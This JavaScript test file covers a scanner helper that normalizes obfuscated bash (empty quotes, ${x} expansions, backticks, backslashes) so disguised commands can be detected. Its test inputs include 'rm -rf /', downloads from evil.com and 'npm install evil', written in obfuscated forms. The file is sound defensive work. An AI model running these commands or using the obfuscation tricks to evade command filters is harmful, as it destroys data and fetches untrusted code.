178 lines
6.5 KiB
JavaScript
178 lines
6.5 KiB
JavaScript
// bash-normalize.test.mjs — Tests for scanners/lib/bash-normalize.mjs
|
|
// Zero external dependencies: node:test + node:assert only.
|
|
|
|
import { describe, it } from 'node:test';
|
|
import assert from 'node:assert/strict';
|
|
import { normalizeBashExpansion } from '../../scanners/lib/bash-normalize.mjs';
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Empty quote stripping
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('bash-normalize — empty single quotes', () => {
|
|
it("strips empty single quotes: w''get -> wget", () => {
|
|
assert.equal(normalizeBashExpansion("w''get http://evil.com"), 'wget http://evil.com');
|
|
});
|
|
|
|
it("strips multiple empty single quotes: c''u''rl -> curl", () => {
|
|
assert.equal(normalizeBashExpansion("c''u''rl http://evil.com"), 'curl http://evil.com');
|
|
});
|
|
|
|
it("does not strip non-empty single quotes: 'hello'", () => {
|
|
assert.equal(normalizeBashExpansion("echo 'hello world'"), "echo 'hello world'");
|
|
});
|
|
});
|
|
|
|
describe('bash-normalize — empty double quotes', () => {
|
|
it('strips empty double quotes: r""m -> rm', () => {
|
|
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
|
|
});
|
|
|
|
it('strips multiple empty double quotes: n""p""m -> npm', () => {
|
|
assert.equal(normalizeBashExpansion('n""p""m install evil'), 'npm install evil');
|
|
});
|
|
|
|
it('does not strip non-empty double quotes: "hello"', () => {
|
|
assert.equal(normalizeBashExpansion('echo "hello world"'), 'echo "hello world"');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Parameter expansion stripping
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('bash-normalize — parameter expansion', () => {
|
|
it('restores single-char ${x} to x: c${u}rl -> curl', () => {
|
|
assert.equal(normalizeBashExpansion('c${u}rl http://evil.com'), 'curl http://evil.com');
|
|
});
|
|
|
|
it('restores multiple single-char expansions: c${u}r${l} -> curl', () => {
|
|
assert.equal(normalizeBashExpansion('c${u}r${l}'), 'curl');
|
|
});
|
|
|
|
it('strips multi-char ${USER} entirely: c${USER}rl -> crl', () => {
|
|
assert.equal(normalizeBashExpansion('c${USER}rl http://evil.com'), 'crl http://evil.com');
|
|
});
|
|
|
|
it('strips expansion with default syntax: c${u:-default}rl -> crl', () => {
|
|
// ${u:-default} has multi-char content, so stripped entirely
|
|
assert.equal(normalizeBashExpansion('c${u:-default}rl'), 'crl');
|
|
});
|
|
|
|
it('does not strip $VAR (no braces)', () => {
|
|
assert.equal(normalizeBashExpansion('echo $HOME'), 'echo $HOME');
|
|
});
|
|
|
|
it('handles ${_} single underscore -> _', () => {
|
|
assert.equal(normalizeBashExpansion('c${_}url'), 'c_url');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Backtick subshell stripping
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('bash-normalize — backtick subshell', () => {
|
|
it('strips empty backtick subshell', () => {
|
|
const input = 'cu' + '``' + 'rl';
|
|
assert.equal(normalizeBashExpansion(input), 'curl');
|
|
});
|
|
|
|
it('strips backtick with whitespace only', () => {
|
|
const input = 'cu' + '` `' + 'rl';
|
|
assert.equal(normalizeBashExpansion(input), 'curl');
|
|
});
|
|
|
|
it('does not strip backtick with content', () => {
|
|
const input = 'echo ' + '`date`';
|
|
assert.equal(normalizeBashExpansion(input), input);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Backslash stripping (iterative)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('bash-normalize — backslash evasion', () => {
|
|
it('strips backslash between word chars: c\\u\\r\\l -> curl', () => {
|
|
assert.equal(normalizeBashExpansion('c\\u\\r\\l'), 'curl');
|
|
});
|
|
|
|
it('strips backslash in longer name: w\\g\\e\\t -> wget', () => {
|
|
assert.equal(normalizeBashExpansion('w\\g\\e\\t http://evil.com'), 'wget http://evil.com');
|
|
});
|
|
|
|
it('strips single backslash: c\\url -> curl', () => {
|
|
assert.equal(normalizeBashExpansion('c\\url'), 'curl');
|
|
});
|
|
|
|
it('handles 5-char backslash evasion: m\\k\\f\\s\\x -> mkfsx', () => {
|
|
assert.equal(normalizeBashExpansion('m\\k\\f\\s\\x'), 'mkfsx');
|
|
});
|
|
|
|
it('does not strip leading backslash before n', () => {
|
|
assert.equal(normalizeBashExpansion('echo \\n'), 'echo \\n');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Combined evasion techniques
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('bash-normalize — combined evasion', () => {
|
|
it('strips mixed empty quotes and expansion: c${u}r""l -> curl', () => {
|
|
assert.equal(normalizeBashExpansion('c${u}r""l'), 'curl');
|
|
});
|
|
|
|
it("strips empty quotes in wget: w''get -> wget", () => {
|
|
assert.equal(normalizeBashExpansion("w''get http://evil.com"), 'wget http://evil.com');
|
|
});
|
|
|
|
it('handles complex evasion: r""${m}m -rf / -> rmm -rf /', () => {
|
|
// r"" strips to r, ${m} -> m (single-char), then m remains
|
|
assert.equal(normalizeBashExpansion('r""${m}m -rf /'), 'rmm -rf /');
|
|
});
|
|
|
|
it('strips expansion + backslash: c${u}r\\l -> curl', () => {
|
|
assert.equal(normalizeBashExpansion('c${u}r\\l'), 'curl');
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Normal commands unchanged
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe('bash-normalize — normal commands pass through', () => {
|
|
it('leaves normal command unchanged: ls -la', () => {
|
|
assert.equal(normalizeBashExpansion('ls -la'), 'ls -la');
|
|
});
|
|
|
|
it('leaves npm install unchanged', () => {
|
|
assert.equal(normalizeBashExpansion('npm install express'), 'npm install express');
|
|
});
|
|
|
|
it('leaves git commands unchanged', () => {
|
|
assert.equal(normalizeBashExpansion('git status'), 'git status');
|
|
});
|
|
|
|
it('leaves pipe commands unchanged', () => {
|
|
assert.equal(normalizeBashExpansion('cat file.txt | grep pattern'), 'cat file.txt | grep pattern');
|
|
});
|
|
|
|
it('leaves quoted arguments unchanged', () => {
|
|
assert.equal(normalizeBashExpansion('echo "hello world"'), 'echo "hello world"');
|
|
});
|
|
|
|
it('leaves single-quoted args unchanged', () => {
|
|
assert.equal(normalizeBashExpansion("grep -r 'pattern' ."), "grep -r 'pattern' .");
|
|
});
|
|
|
|
it('handles empty string', () => {
|
|
assert.equal(normalizeBashExpansion(''), '');
|
|
});
|
|
|
|
it('handles null/undefined', () => {
|
|
assert.equal(normalizeBashExpansion(null), '');
|
|
assert.equal(normalizeBashExpansion(undefined), '');
|
|
});
|
|
});
|